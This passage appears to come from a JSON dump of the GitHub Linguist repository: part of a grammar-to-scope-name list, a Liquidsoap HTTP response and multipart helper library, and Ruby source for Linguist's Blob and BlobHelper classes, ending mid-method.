hint.type.haskell\n- source.c2hs\n- source.cabal\n- source.haskell\n- source.hsc2hs\n- source.hsig\n- text.tex.latex.haskell\nvendor/grammars/language-hocon:\n- source.hocon\nvendor/grammars/language-hql:\n- source.hql\nvendor/grammars/language-html:\n- text.html.basic\nvendor/grammars/language-hurl:\n- source.hurl\nvendor/grammars/language-igor:\n- source.igor\nvendor/grammars/language-inform7:\n- source.inform7\nvendor/grammars/language-javascript:\n- source.js\n- source.js.regexp\n- source.js.regexp.replacement\n- source.jsdoc\nvendor/grammars/language-jison:\n- source.jison\n- source.jisonlex\n- source.jisonlex-injection\nvendor/grammars/language-jolie:\n- source.jolie\nvendor/grammars/language-jq:\n- source.jq\nvendor/grammars/language-jsoniq:\n- source.jsoniq\n- source.xq\nvendor/grammars/language-jsonnet:\n- source.jsonnet\nvendor/grammars/language-kak:\n- source.kakscript\nvendor/grammars/language-kerboscript:\n- source.kerboscript\nvendor/grammars/language-kickstart:\n- source.kickstart\nvendor/grammars/language-kotlin:\n- source.kotlin\nvendor/grammars/language-langium:\n- source.langium\nvendor/grammars/language-less:\n- source.css.less\nvendor/grammars/language-m68k:\n- source.m68k\nvendor/grammars/language-macaulay2:\n- source.m2\nvendor/grammars/language-maxscript:\n- source.maxscript\nvendor/grammars/language-mermaid:\n- source.mermaid\n- source.mermaid.c4c-diagram\n- source.mermaid.class-diagram\n- source.mermaid.er-diagram\n- source.mermaid.flowchart\n- source.mermaid.gantt\n- source.mermaid.gitgraph\n- source.mermaid.mindmap\n- source.mermaid.pie-chart\n- source.mermaid.quad-chart\n- source.mermaid.requirement-diagram\n- source.mermaid.sankey\n- source.mermaid.sequence-diagram\n- source.mermaid.state-diagram\n- source.mermaid.timeline\n- source.mermaid.user-journey\n- source.mermaid.zenuml\nvendor/grammars/language-meson:\n- source.meson\nvendor/grammars/language-msl:\n- source.msl\nvendor/grammars/language-ncl:\n- source.ncl\nvendor/grammars/language-ninja:\n- source.ninja\nvendor/grammars/language-nunjucks:\n- source.nunjucks\n- text.html.nunjucks\nvendor/grammars/language-pan:\n- source.pan\nvendor/grammars/language-pcb:\n- source.gerber\n- source.ltspice.symbol\n- source.pcb.board\n- source.pcb.schematic\n- source.pcb.sexp\nvendor/grammars/language-povray:\n- source.pov-ray sdl\nvendor/grammars/language-property-list:\n- source.plist\n- text.xml.plist\nvendor/grammars/language-pyret:\n- source.arr\nvendor/grammars/language-qasm:\n- source.qasm\nvendor/grammars/language-reason:\n- source.reason\n- source.reason.hover.type\nvendor/grammars/language-reg:\n- source.reg\nvendor/grammars/language-regexp:\n- hidden.regexp.injection-shell\n- source.regexp\n- source.regexp.extended\n- source.regexp.posix\n- source.sy\nvendor/grammars/language-renpy:\n- source.renpy\nvendor/grammars/language-restructuredtext:\n- text.pseudoxml\n- text.restructuredtext\nvendor/grammars/language-ring:\n- source.ring\nvendor/grammars/language-roff:\n- hidden.manref\n- source.context\n- source.ditroff\n- source.ditroff.desc\n- source.gremlin\n- source.ideal\n- source.pic\n- text.roff\n- text.runoff\nvendor/grammars/language-rpm-spec:\n- source.changelogs.rpm-spec\n- source.rpm-spec\nvendor/grammars/language-rtf:\n- text.rtf\nvendor/grammars/language-ruby:\n- source.ruby\n- source.ruby.gemfile\n- text.html.erb\nvendor/grammars/language-sass:\n- source.css.scss\n- source.sass\n- source.sassdoc\nvendor/grammars/language-sed:\n- source.ed\n- source.sed\nvendor/grammars/language-shellscript:\n- source.shell\n- text.shell-session\nvendor/grammars/language-subtitles:\n- text.srt\n- text.vtt\nvendor/grammars/language-supercollider:\n- source.supercollider\nvendor/grammars/language-texinfo:\n- text.info\n- text.texinfo\nvendor/grammars/language-ti-basic:\n- source.8xp\nvendor/grammars/language-toc-wow:\n- source.toc\nvendor/grammars/language-tools:\n- markdown.vue.codeblock\n- mdx.vue.codeblock\n- text.html.vue\n- vue.directives\n- vue.interpolations\n- vue.sfc.script.leading-operator-fix\n- vue.sfc.style.variable.injection\nvendor/grammars/language-tsql:\n- source.tsql\nvendor/grammars/language-turing:\n- source.turing\nvendor/grammars/language-typelanguage:\n- source.tl\nvendor/grammars/language-viml:\n- source.vim-snippet\n- source.viml\n- text.vim-help\nvendor/grammars/language-wavefront:\n- source.wavefront.mtl\n- source.wavefront.obj\nvendor/grammars/language-webassembly:\n- source.webassembly\nvendor/grammars/language-xbase:\n- source.harbour\nvendor/grammars/language-xcompose:\n- config.xcompose\nvendor/grammars/language-yaml:\n- source.yaml\nvendor/grammars/language-yang:\n- source.yang\nvendor/grammars/latex.tmbundle:\n- text.bibtex\n- text.log.latex\n- text.tex\n- text.tex.latex\n- text.tex.latex.beamer\n- text.tex.latex.memoir\nvendor/grammars/leo-linguist:\n- source.leo\nvendor/grammars/linter-lilypond:\n- source.lilypond\nvendor/grammars/liquid-tm-grammar:\n- liquid.injection\n- text.html.liquid\nvendor/grammars/lisp.tmbundle:\n- source.lisp\nvendor/grammars/livescript-vscode:\n- source.livescript\nvendor/grammars/llvm.tmbundle:\n- source.llvm\nvendor/grammars/logos:\n- source.logos\nvendor/grammars/logtalk.tmbundle:\n- source.logtalk\nvendor/grammars/lua.tmbundle:\n- source.lua\nvendor/grammars/m3:\n- source.modula-3\nvendor/grammars/make.tmbundle:\n- source.makefile\nvendor/grammars/mako-tmbundle:\n- text.html.mako\nvendor/grammars/markdown-tm-language:\n- source.mdx\n- text.md\nvendor/grammars/marko-tmbundle:\n- text.marko\nvendor/grammars/mathematica-tmbundle:\n- source.mathematica\nvendor/grammars/maven.tmbundle:\n- text.xml.pom\nvendor/grammars/mediawiki.tmbundle:\n- text.html.mediawiki\nvendor/grammars/mercury-tmlanguage:\n- source.mercury\nvendor/grammars/metta-textmate-linguist:\n- source.metta\nvendor/grammars/mint-vscode:\n- source.mint\nvendor/grammars/mlir-grammar:\n- source.mlir\nvendor/grammars/mojo-syntax:\n- source.mojo\nvendor/grammars/monkey:\n- source.monkey\nvendor/grammars/moonbit-tmLanguage:\n- source.moonbit\nvendor/grammars/moonscript-tmbundle:\n- source.moonscript\nvendor/grammars/mps-vscode:\n- text.source.mps\nvendor/grammars/nemerle.tmbundle:\n- source.nemerle\nvendor/grammars/nesC:\n- source.nesc\nvendor/grammars/nickel:\n- source.nickel\nvendor/grammars/nix-linguist:\n- source.nix\nvendor/grammars/nu-grammar:\n- source.nushell\nvendor/grammars/nu.tmbundle:\n- source.nu\nvendor/grammars/objective-c.tmbundle:\n- source.objc\n- source.objc++\n- source.objc.platform\n- source.strings\nvendor/grammars/ocaml.tmbundle:\n- source.camlp4.ocaml\n- source.ocaml\n- source.ocamllex\n- source.ocamlyacc\nvendor/grammars/omnetpp-textmate-msg:\n- source.msg\nvendor/grammars/omnetpp-textmate-ned:\n- source.ned\nvendor/grammars/ooc.tmbundle:\n- source.ooc\nvendor/grammars/opa.tmbundle:\n- source.opa\nvendor/grammars/openscad.tmbundle:\n- source.scad\nvendor/grammars/overpassql-tmlanguage:\n- source.overpassql\nvendor/grammars/oz-tmbundle:\n- source.oz\nvendor/grammars/pact-atom:\n- source.pact\nvendor/grammars/parrot:\n- source.parrot.pir\nvendor/grammars/pascal.tmbundle:\n- source.pascal\nvendor/grammars/pawn-sublime-language:\n- source.pawn\nvendor/grammars/perl.tmbundle:\n- source.perl\n- source.perl.6\nvendor/grammars/php-smarty.tmbundle:\n- text.html.smarty\nvendor/grammars/php.tmbundle:\n- text.html.php\nvendor/grammars/pig-latin:\n- source.pig_latin\nvendor/grammars/pike-textmate:\n- source.pike\nvendor/grammars/pkl.tmbundle:\n- source.pkl\nvendor/grammars/playground-cj:\n- source.cj\nvendor/grammars/polar-grammar:\n- source.polar\nvendor/grammars/portugol-grammar:\n- source.portugol\nvendor/grammars/powershell:\n- source.powershell\nvendor/grammars/praatvscode:\n- source.praat\n- source.textgrid\nvendor/grammars/processing.tmbundle:\n- source.processing\nvendor/grammars/python-django.tmbundle:\n- source.python.django\n- text.html.django\nvendor/grammars/qsharp:\n- source.openqasm\n- source.qsharp\nvendor/grammars/quake:\n- source.quake\nvendor/grammars/quakec-syntax:\n- source.quakec\nvendor/grammars/r.tmbundle:\n- source.r\n- text.tex.latex.rd\nvendor/grammars/rascal-syntax-highlighting:\n- source.rascal\nvendor/grammars/rascript-syntax:\n- source.rascript\nvendor/grammars/razor-plus:\n- text.html.cshtml\nvendor/grammars/rescript-vscode:\n- markdown.rescript.codeblock\n- source.rescript\nvendor/grammars/rez.tmbundle:\n- source.rez\nvendor/grammars/riot-syntax-highlight:\n- text.html.riot\nvendor/grammars/roc-vscode-unofficial:\n- source.roc\nvendor/grammars/ros-tmlanguage:\n- source.rosmsg\nvendor/grammars/rust-syntax:\n- source.rust\nvendor/grammars/rust_hdl_vscode:\n- source.vhdl\nvendor/grammars/sail_vscode:\n- source.sail\nvendor/grammars/sas.tmbundle:\n- source.sas\nvendor/grammars/scheme.tmbundle:\n- source.scheme\nvendor/grammars/scilab.tmbundle:\n- source.scilab\nvendor/grammars/secondlife-lsl:\n- source.lsl\nvendor/grammars/selinux-policy-languages:\n- source.cil\n- source.sepolicy\nvendor/grammars/shaders-tmLanguage:\n- source.hlsl\n- source.shaderlab\nvendor/grammars/slang-vscode-extension:\n- source.slang\nvendor/grammars/slint-tmLanguage:\n- source.slint\nvendor/grammars/smali-sublime:\n- source.smali\nvendor/grammars/smalltalk-tmbundle:\n- source.smalltalk\nvendor/grammars/smithy-vscode:\n- source.smithy\nvendor/grammars/sourcepawn-vscode:\n- source.amxxpawn\n- source.sourcepawn\n- sp-jsdoc.injection\n- text.valve-cfg\n- text.valve-kv\nvendor/grammars/sprocket-vscode:\n- source.wdl\nvendor/grammars/sql.tmbundle:\n- source.sql\nvendor/grammars/squirrel-language:\n- source.nut\nvendor/grammars/st2-zonefile:\n- text.zone_file\nvendor/grammars/standard-ml.tmbundle:\n- source.cm\n- source.ml\nvendor/grammars/sublime-MuPAD:\n- source.mupad\nvendor/grammars/sublime-angelscript:\n- source.angelscript\nvendor/grammars/sublime-aspectj:\n- source.aspectj\nvendor/grammars/sublime-autoit:\n- source.autoit\nvendor/grammars/sublime-befunge:\n- source.befunge\nvendor/grammars/sublime-boo:\n- source.boo\nvendor/grammars/sublime-bsv:\n- source.bsv\nvendor/grammars/sublime-cirru:\n- source.cirru\nvendor/grammars/sublime-clips:\n- source.clips\nvendor/grammars/sublime-cypher:\n- source.cypher\nvendor/grammars/sublime-fantom:\n- source.fan\nvendor/grammars/sublime-glsl:\n- source.essl\n- source.glsl\nvendor/grammars/sublime-golo:\n- source.golo\nvendor/grammars/sublime-lambdapi:\n- source.lp\nvendor/grammars/sublime-mask:\n- source.mask\nvendor/grammars/sublime-nearley:\n- source.ne\nvendor/grammars/sublime-netlinx:\n- source.netlinx\n- source.netlinx.erb\nvendor/grammars/sublime-odin:\n- source.odin\nvendor/grammars/sublime-opal:\n- source.opal\n- source.opalsysdefs\nvendor/grammars/sublime-pony:\n- source.pony\nvendor/grammars/sublime-promela-spin:\n- source.promela\nvendor/grammars/sublime-q:\n- source.q\n- source.q_output\nvendor/grammars/sublime-rexx:\n- source.rexx\nvendor/grammars/sublime-robot-plugin:\n- text.robot\nvendor/grammars/sublime-shen:\n- source.shen\nvendor/grammars/sublime-spintools:\n- source.regexp.spin\n- source.spin\nvendor/grammars/sublime-tea:\n- source.tea\nvendor/grammars/sublime-terra:\n- source.terra\nvendor/grammars/sublime-text-ox:\n- source.ox\nvendor/grammars/sublime-zig-language:\n- source.zig\nvendor/grammars/sublimeassembly:\n- source.assembly\nvendor/grammars/sublimeprolog:\n- source.prolog\n- source.prolog.eclipse\nvendor/grammars/sublimetext-cuda-cpp:\n- source.cuda-c++\nvendor/grammars/sublimetext-nasl:\n- source.nasl\n- source.tnsaudit\nvendor/grammars/surrealql-grammar:\n- inline.surrealql-js-literal\n- markdown.surrealql.codeblock\n- source.surrealql\nvendor/grammars/svelte-atom:\n- source.svelte\nvendor/grammars/sway-vscode-plugin:\n- source.sway\nvendor/grammars/sweave.tmbundle:\n- text.tex.latex.sweave\nvendor/grammars/swift-tmlanguage:\n- source.swift\nvendor/grammars/syntax:\n- source.hcl\n- source.hcl.terraform\n- source.sentinel\nvendor/grammars/syntax-mcfunction:\n- source.mcfunction\nvendor/grammars/tact-sublime:\n- source.tact\nvendor/grammars/tcl.tmbundle:\n- source.tcl\n- text.html.tcl\nvendor/grammars/templ-vscode:\n- source.templ\nvendor/grammars/textmate:\n- source.flix\nvendor/grammars/textmate.tmbundle:\n- source.regexp.oniguruma\n- source.tm-properties\n- textmate.format-string\nvendor/grammars/textproto-grammar:\n- markdown.textproto.codeblock\n- source.textproto\nvendor/grammars/thrift.tmbundle:\n- source.thrift\nvendor/grammars/tlv-vscode:\n- source.tlverilog\nvendor/grammars/toml.tmbundle:\n- source.toml\nvendor/grammars/turtle.tmbundle:\n- source.sparql\n- source.turtle\nvendor/grammars/typespec:\n- source.tsp\nvendor/grammars/typst-grammar:\n- source.typst\nvendor/grammars/verilog.tmbundle:\n- source.verilog\nvendor/grammars/vsc-ember-syntax:\n- inline.hbs\n- inline.template\n- markdown.glimmer.codeblock\n- source.gjs\n- source.gts\n- text.html.ember-handlebars\nvendor/grammars/vsc-fennel:\n- source.fnl\nvendor/grammars/vsc-language-1c-bsl:\n- source.bsl\n- source.sdbl\nvendor/grammars/vscode:\n- source.QB64\nvendor/grammars/vscode-TalonScript:\n- markdown.talon.codeblock\n- source.talon\nvendor/grammars/vscode-aiken:\n- source.aiken\n- source.uplc\nvendor/grammars/vscode-antlers-language-server:\n- text.html.statamic\nvendor/grammars/vscode-apache:\n- source.apacheconf\nvendor/grammars/vscode-bitbake:\n- source.bb\nvendor/grammars/vscode-brightscript-language:\n- source.brs\nvendor/grammars/vscode-c3:\n- source.c3\nvendor/grammars/vscode-caddyfile:\n- source.Caddyfile\n- source.Caddyfile-test\n- source.markdown.caddy.codeblock\nvendor/grammars/vscode-cadence:\n- markdown.cadence.codeblock\n- source.cadence\nvendor/grammars/vscode-cmake-tools:\n- source.cmake\n- source.cmakecache\nvendor/grammars/vscode-codeql:\n- source.ql\nvendor/grammars/vscode-cue:\n- source.cue\nvendor/grammars/vscode-curry:\n- markdown.curry.codeblock\n- source.curry\n- source.icurry\nvendor/grammars/vscode-dune:\n- source.dune\nvendor/grammars/vscode-euphoria:\n- source.euphoria\nvendor/grammars/vscode-fastly-vcl:\n- source.vcl\nvendor/grammars/vscode-flatbuffers:\n- source.flatbuffers\nvendor/grammars/vscode-fluent:\n- source.ftl\nvendor/grammars/vscode-gcode-syntax:\n- source.gcode\nvendor/grammars/vscode-gedcom:\n- source.gedcom\nvendor/grammars/vscode-gleam:\n- markdown.gleam.codeblock\n- source.gleam\nvendor/grammars/vscode-go:\n- go.mod\n- go.sum\nvendor/grammars/vscode-go-template:\n- source.go-template\n- source.go.injection.double.go-template\n- source.go.injection.raw.go-template\n- text.injection.go-template\n- text.markdown.go-template.codeblock\nvendor/grammars/vscode-hack:\n- markdown.hack.codeblock\n- source.hack\nvendor/grammars/vscode-hy:\n- source.hy\nvendor/grammars/vscode-ibmi-languages:\n- source.bnd\n- source.cl\n- source.cmd\n- source.dds.dspf\n- source.dds.icff\n- source.dds.lf\n- source.dds.pf\n- source.dds.prtf\n- source.mi\n- source.pnlgrp\n- source.rpg\n- source.rpgle\nvendor/grammars/vscode-janet:\n- source.janet\nvendor/grammars/vscode-jest:\n- source.jest.snap\nvendor/grammars/vscode-jsonc-syntax-highlighting:\n- source.json.comments\nvendor/grammars/vscode-just:\n- source.just\nvendor/grammars/vscode-kcl:\n- source.kcl\nvendor/grammars/vscode-kdl:\n- source.kdl\nvendor/grammars/vscode-kolmafia-ash:\n- source.ash\nvendor/grammars/vscode-lean:\n- markdown.lean.codeblock\n- source.lean\n- source.lean.markdown\nvendor/grammars/vscode-lean4:\n- markdown.lean4.codeblock\n- source.lean4\n- source.lean4.markdown\nvendor/grammars/vscode-liquidsoap:\n- source.liquidsoap\nvendor/grammars/vscode-livecodescript:\n- source.lcb\n- source.livecodescript\nvendor/grammars/vscode-minizinc:\n- source.mzn\nvendor/grammars/vscode-monkey-c:\n- source.mc\nvendor/grammars/vscode-motoko:\n- source.did\n- source.mo\nvendor/grammars/vscode-move-syntax:\n- markdown.move.codeblock\n- mdx.move.codeblock\n- source.move\nvendor/grammars/vscode-nginx:\n- source.nginx\nvendor/grammars/vscode-noir:\n- source.nr\nvendor/grammars/vscode-opa:\n- markdown.rego.codeblock\n- source.rego\nvendor/grammars/vscode-pddl:\n- source.pddl\n- source.pddl.happenings\n- source.pddl.plan\nvendor/grammars/vscode-plantuml:\n- markdown.plantuml.codeblock\n- source.wsd\nvendor/grammars/vscode-prisma:\n- inline.prisma\n- markdown.prisma.codeblock\n- source.prisma\n- source.ts.prismaClientRawSQL\nvendor/grammars/vscode-procfile:\n- source.procfile\nvendor/grammars/vscode-proto3:\n- markdown.codeblock.proto\n- source.proto\nvendor/grammars/vscode-python:\n- source.pip-requirements\nvendor/grammars/vscode-rbs-syntax:\n- source.rbs\nvendor/grammars/vscode-ron:\n- source.ron\nvendor/grammars/vscode-ruby-slim:\n- injection.interpolated-ruby\n- text.slim\nvendor/grammars/vscode-scala-syntax:\n- source.scala\nvendor/grammars/vscode-singularity:\n- source.singularity\nvendor/grammars/vscode-slice:\n- source.ice\n- source.slice\nvendor/grammars/vscode-teal:\n- source.teal\nvendor/grammars/vscode-tmdl:\n- source.tmdl\nvendor/grammars/vscode-tree-sitter-query:\n- source.scm\nvendor/grammars/vscode-vba:\n- source.vb6\n- source.vba\n- source.wwb\nvendor/grammars/vscode-vcard:\n- source.vcard\nvendor/grammars/vscode-vento:\n- source.vento\nvendor/grammars/vscode-vlang:\n- source.v\n- v.mod\nvendor/grammars/vscode-wit:\n- source.wit\nvendor/grammars/vscode-wren:\n- source.wren\nvendor/grammars/vscode-yara:\n- source.yara\nvendor/grammars/vscode-zil-language:\n- source.zap\n- source.zil\nvendor/grammars/vscode_cobol:\n- source.acucobol\n- source.bms\n- source.bmsmap\n- source.cobol\n- source.cobol_acu_listfile\n- source.cobol_mf_listfile\n- source.cobol_mfprep\n- source.cobol_pcob_listfile\n- source.cobolit\n- source.cobsql_dir\n- source.dir\n- source.directivesmf\n- source.hlasm\n- source.ilecobol\n- source.jcl\n- source.mfu\n- source.mfupp_dir\n- source.openesql\n- source.pli\n- source.rmcobol\n- source.utreport\nvendor/grammars/vscode_mikrotik_routeros_script:\n- source.rsc\nvendor/grammars/wgsl-analyzer:\n- markdown.wesl.codeblock\n- markdown.wgsl.codeblock\n- source.comment-string.wesl\n- source.comment-string.wgsl\n- source.wesl\n- source.wgsl\nvendor/grammars/witcherscript-grammar:\n- source.witcherscript\nvendor/grammars/wollok-sublime:\n- source.wollok\nvendor/grammars/xc.tmbundle:\n- source.xc\nvendor/grammars/xmake-lua.tmbundle:\n- source.xmake\nvendor/grammars/xml.tmbundle:\n- text.xml\n- text.xml.xsl\nvendor/grammars/zeek-sublime:\n- source.zeek\nvendor/grammars/zenstack:\n- source.zmodel\nvendor/grammars/zephir-sublime:\n- source.php.zephir\n"
  },
  {
    "path": "http.liq",
    "content": "# Prepare a list of data to be sent as multipart form data.\n# @category Internet\n# @param ~boundary Specify boundary to use for multipart/form-data.\n# @param data data to insert\ndef http.multipart_form_data(~boundary=null(), data) =\n  def default_boundary() =\n    range = [...string.char.ascii.alphabet, ...string.char.ascii.number]\n    l = list.init(12, fun (_) -> string.char.ascii.random(range))\n    string.concat(l)\n  end\n\n  boundary = null.default(boundary, default_boundary)\n\n  def mk_content(contents, entry) =\n    data = entry.contents\n    attributes = [(\"name\", entry.name), ...entry.attributes]\n    attributes =\n      list.map(\n        fun (v) -> \"#{string(fst(v))}=#{string.quote(snd(v))}\", attributes\n      )\n\n    attributes = string.concat(separator=\"; \", attributes)\n    headers =\n      list.map(fun (v) -> \"#{string(fst(v))}: #{string(snd(v))}\", entry.headers)\n\n    headers = string.concat(separator=\"\\r\\n\", headers)\n    headers = headers == \"\" ? \"\" : \"#{headers}\\r\\n\"\n\n    # This is for typing purposes\n    (entry : unit)\n    [\n      ...contents,\n      getter(\"--#{boundary}\\r\\n\"),\n      getter(\"Content-Disposition: form-data; #{attributes}\\r\\n\"),\n      getter(headers),\n      getter(\"\\r\\n\"),\n      data,\n      getter(\"\\r\\n\")\n    ]\n  end\n\n  contents = [...list.fold(mk_content, [], data), getter(\"--#{boundary}--\\r\\n\")]\n  contents = string.getter.concat(contents)\n  contents =\n    if\n      list.for_all(fun (entry) -> getter.is_constant(entry.contents), data)\n    then\n      getter(string.getter.flush(contents))\n    else\n      contents\n    end\n\n  {contents=contents, boundary=boundary}\nend\n\n# Initiate a response handler with pre-filled values.\n# @category Internet\n# @method content_type Set `\"Content-Type\"` header\n# @method data Set response data.\n# @method headers Replace response headers.\n# @method header Set a single header on the response\n# @method json Set content-type to json and data to `json.stringify` of the argument\n# @method redirect Set `status_code` and `Location:` header for a HTTP redirect response\n# @method html Set content-type to html and data to argument value\n# @method http_version Set http protocol version\n# @method status_code Set response status code\n# @method status_message Set response status message\ndef http.response(\n  ~http_version=\"1.1\",\n  ~status_code=null(),\n  ~status_message=null(),\n  ~headers=[],\n  ~content_type=null(),\n  ~data=getter(\"\")\n) =\n  status_code =\n    status_code\n      ??\n        if\n          http_version == \"1.1\"\n        and\n          headers[\"expect\"] == \"100-continue\"\n        and\n          getter.get(data) == \"\"\n        then\n          100\n        else\n          200\n        end\n\n  http_version = ref(http_version)\n  status_code = ref(status_code)\n  status_message = ref(status_message)\n  headers = ref(headers)\n  content_type = ref(content_type)\n  data = ref(data)\n  status_sent = ref(false)\n  headers_sent = ref(false)\n  data_sent = ref(false)\n  response_ended = ref(false)\n\n  def mk_status() =\n    status_sent := true\n    http_version = http_version()\n    status_code = status_code()\n    status_code =\n      if\n        status_code == 100 and getter.get(data()) != \"\"\n      then\n        200\n      else\n        status_code\n      end\n\n    status_message = status_message() ?? http.codes[status_code]\n    \"HTTP/#{http_version} #{status_code} #{status_message}\\r\\n\"\n  end\n\n  def mk_headers() =\n    headers_sent := true\n    headers = headers()\n    content_type = content_type()\n    data = data()\n    headers =\n      if\n        getter.is_constant(data)\n      then\n        data = getter.get(data)\n        if\n          data != \"\"\n        then\n          (\"Content-Length\", \"#{string.length(data)}\")::headers\n        else\n          headers\n        end\n      else\n        (\"Transfer-Encoding\", \"chunked\")::headers\n      end\n\n    headers =\n      if\n        null.defined(content_type) and null.get(content_type) != \"\"\n      then\n        (\"Content-type\", null.get(content_type))::headers\n      else\n        headers\n      end\n\n    headers = list.map(fun (v) -> \"#{fst(v)}: #{snd(v)}\", headers)\n    headers = string.concat(separator=\"\\r\\n\", headers)\n    headers = if headers != \"\" then \"#{headers}\\r\\n\" else \"\" end\n    \"#{headers}\\r\\n\"\n  end\n\n  def mk_data() =\n    data_sent := true\n    data = data()\n    if\n      getter.is_constant(data)\n    then\n      response_ended := true\n      getter.get(data)\n    else\n      data = getter.get(data)\n      response_ended := data == \"\"\n      \"#{string.hex_of_int(string.length(data))}\\r\\n#{data}\\r\\n\"\n    end\n  end\n\n  def response() =\n    if\n      response_ended()\n    then\n      \"\"\n    elsif not status_sent() then mk_status()\n    elsif not headers_sent() then mk_headers()\n    else\n      mk_data()\n    end\n  end\n\n  def attr_method(sent, attr) =\n    def set(v) =\n      if\n        sent()\n      then\n        error.raise(\n          error.invalid, \"HTTP response has already been sent for this value!\"\n        )\n      end\n\n      attr := v\n    end\n\n    def get() =\n      attr()\n    end\n\n    set.{current=get}\n  end\n\n  def header(k, v) =\n    headers := (k, v)::headers()\n  end\n\n  code = status_code\n\n  def redirect(~status_code=301, location) =\n    if\n      status_sent()\n    then\n      error.raise(\n        error.invalid, \"HTTP response has already been sent for this value!\"\n      )\n    end\n\n    code := status_code\n    header(\"Location\", location)\n  end\n\n  def json(~compact=true, v) =\n    if\n      headers_sent()\n    then\n      error.raise(\n        error.invalid, \"HTTP response has already been sent for this value!\"\n      )\n    end\n\n    content_type := \"application/json; charset=utf-8\"\n    data := json.stringify(v, compact=compact) ^ \"\\n\"\n  end\n\n  def html(d) =\n    if\n      headers_sent()\n    then\n      error.raise(\n        error.invalid, \"HTTP response has already been sent for this value!\"\n      )\n    end\n\n    content_type := \"text/html\"\n    data := d\n  end\n\n  def send_status(socket) =\n    if not status_sent() then socket.write(mk_status()) end\n  end\n\n  def multipart_form(~boundary=null(), contents) =\n    if\n      headers_sent()\n    then\n      error.raise(\n        error.invalid, \"HTTP response has already been sent for this value!\"\n      )\n    end\n\n    form_data = http.multipart_form_data(boundary=boundary, contents)\n    content_type := \"multipart/form-data; boundary=#{form_data.boundary}\"\n    data := form_data.contents\n  end\n\n  response.{\n    http_version=attr_method(status_sent, http_version),\n    status_code=attr_method(status_sent, status_code),\n    status_message=attr_method(status_sent, status_message),\n    headers=attr_method(headers_sent, headers),\n    header=header,\n    redirect=redirect,\n    json=json,\n    html=html,\n    content_type=attr_method(headers_sent, content_type),\n    multipart_form=multipart_form,\n    data=attr_method(data_sent, data),\n    send_status=send_status,\n    status_sent={status_sent()}\n  }\nend"
  },
  {
    "path": "lib/linguist/VERSION",
    "content": "9.5.0\n"
  },
  {
    "path": "lib/linguist/blob.rb",
    "content": "require 'linguist/blob_helper'\n\nmodule Linguist\n  # A Blob is a wrapper around the content of a file to make it quack\n  # like a Grit::Blob. It provides the basic interface: `name`,\n  # `data`, `path` and `size`.\n  class Blob\n    include BlobHelper\n\n    # Public: Initialize a new Blob.\n    #\n    # path    - A path String (does not necessarily exists on the file system).\n    # content - Content of the file.\n    # symlink - Whether the file is a symlink.\n    #\n    # Returns a Blob.\n    def initialize(path, content, symlink: false)\n      @path = path\n      @content = content\n      @symlink = symlink\n    end\n\n    # Public: Filename\n    #\n    # Examples\n    #\n    #   Blob.new(\"/path/to/linguist/lib/linguist.rb\", \"\").path\n    #   # =>  \"/path/to/linguist/lib/linguist.rb\"\n    #\n    # Returns a String\n    attr_reader :path\n\n    # Public: File name\n    #\n    # Returns a String\n    def name\n      File.basename(@path)\n    end\n\n    # Public: File contents.\n    #\n    # Returns a String.\n    def data\n      @content\n    end\n\n    # Public: Get byte size\n    #\n    # Returns an Integer.\n    def size\n      @content.bytesize\n    end\n\n    # Public: Get file extension.\n    #\n    # Returns a String.\n    def extension\n      extensions.last || \"\"\n    end\n\n    # Public: Return an array of the file extensions\n    #\n    #     >> Linguist::Blob.new(\"app/views/things/index.html.erb\").extensions\n    #     => [\".html.erb\", \".erb\"]\n    #\n    # Returns an Array\n    def extensions\n      _, *segments = name.downcase.split(\".\", -1)\n\n      segments.map.with_index do |segment, index|\n        \".\" + segments[index..-1].join(\".\")\n      end\n    end\n\n    # Public: Is this a symlink?\n    #\n    # Returns true or false.\n    def symlink?\n      @symlink\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/blob_helper.rb",
    "content": "require 'linguist/generated'\nrequire 'cgi'\nrequire 'charlock_holmes'\nrequire 'mini_mime'\nrequire 'yaml'\n\nmodule Linguist\n  # DEPRECATED Avoid mixing into Blob classes. Prefer functional interfaces\n  # like `Linguist.detect` over `Blob#language`. Functions are much easier to\n  # cache and compose.\n  #\n  # Avoid adding additional bloat to this module.\n  #\n  # BlobHelper is a mixin for Blobish classes that respond to \"name\",\n  # \"data\" and \"size\" such as Grit::Blob.\n  module BlobHelper\n    # Public: Get the extname of the path\n    #\n    # Examples\n    #\n    #   blob(name='foo.rb').extname\n    #   # => '.rb'\n    #\n    # Returns a String\n    def extname\n      File.extname(name.to_s)\n    end\n\n    # Internal: Lookup mime type for filename.\n    #\n    # Returns a MIME::Type\n    def _mime_type\n      if defined? @_mime_type\n        @_mime_type\n      else\n        @_mime_type = MiniMime.lookup_by_filename(name.to_s)\n      end\n    end\n\n    # Public: Get the actual blob mime type\n    #\n    # Examples\n    #\n    #   # => 'text/plain'\n    #   # => 'text/html'\n    #\n    # Returns a mime type String.\n    def mime_type\n      _mime_type ? _mime_type.content_type : 'text/plain'\n    end\n\n    # Internal: Is the blob binary according to its mime type\n    #\n    # Return true or false\n    def binary_mime_type?\n      _mime_type ? _mime_type.binary? : false\n    end\n\n    # Internal: Is the blob binary according to its mime type,\n    # overriding it if we have better data from the languages.yml\n    # database.\n    #\n    # Return true or false\n    def likely_binary?\n      binary_mime_type? && !Language.find_by_filename(name)\n    end\n\n    # Public: Get the Content-Type header value\n    #\n    # This value is used when serving raw blobs.\n    #\n    # Examples\n    #\n    #   # => 'text/plain; charset=utf-8'\n    #   # => 'application/octet-stream'\n    #\n    # Returns a content type String.\n    def content_type\n      @content_type ||= (binary_mime_type? || binary?) ? mime_type :\n        (encoding ? \"text/plain; charset=#{encoding.downcase}\" : \"text/plain\")\n    end\n\n    # Public: Get the Content-Disposition header value\n    #\n    # This value is used when serving raw blobs.\n    #\n    #   # => \"attachment; filename=file.tar\"\n    #   # => \"inline\"\n    #\n    # Returns a content disposition String.\n    def disposition\n      if text? || image?\n        'inline'\n      elsif name.nil?\n        \"attachment\"\n      else\n        \"attachment; filename=#{CGI.escape(name)}\"\n      end\n    end\n\n    def encoding\n      if hash = detect_encoding\n        hash[:encoding]\n      end\n    end\n\n    def ruby_encoding\n      if hash = detect_encoding\n        hash[:ruby_encoding]\n      end\n    end\n\n    # Try to guess the encoding\n    #\n    # Returns: a Hash, with :encoding, :confidence, :type\n    #          this will return nil if an error occurred during detection or\n    #          no valid encoding could be found\n    def detect_encoding\n      @detect_encoding ||= CharlockHolmes::EncodingDetector.new.detect(data) if data\n    end\n\n    # Public: Is the blob binary?\n    #\n    # Return true or false\n    def binary?\n      # Large blobs aren't even loaded into memory\n      if 